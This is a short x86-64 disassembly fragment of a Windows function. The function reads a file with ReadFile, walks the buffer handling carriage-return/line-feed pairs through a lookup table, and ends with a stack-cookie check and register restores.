mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018a0f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001ba1c
test rax, rax
js 0x140018a0f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018a0f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018a01
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018a01
cmp byte [rcx], 0xd
jne 0x1400189e7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400189f6
cmp byte [rcx + 1], 0xa
jne 0x1400189f6
inc rcx
jmp 0x1400189f6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x34b30]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400189c9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018a13
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140012310
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret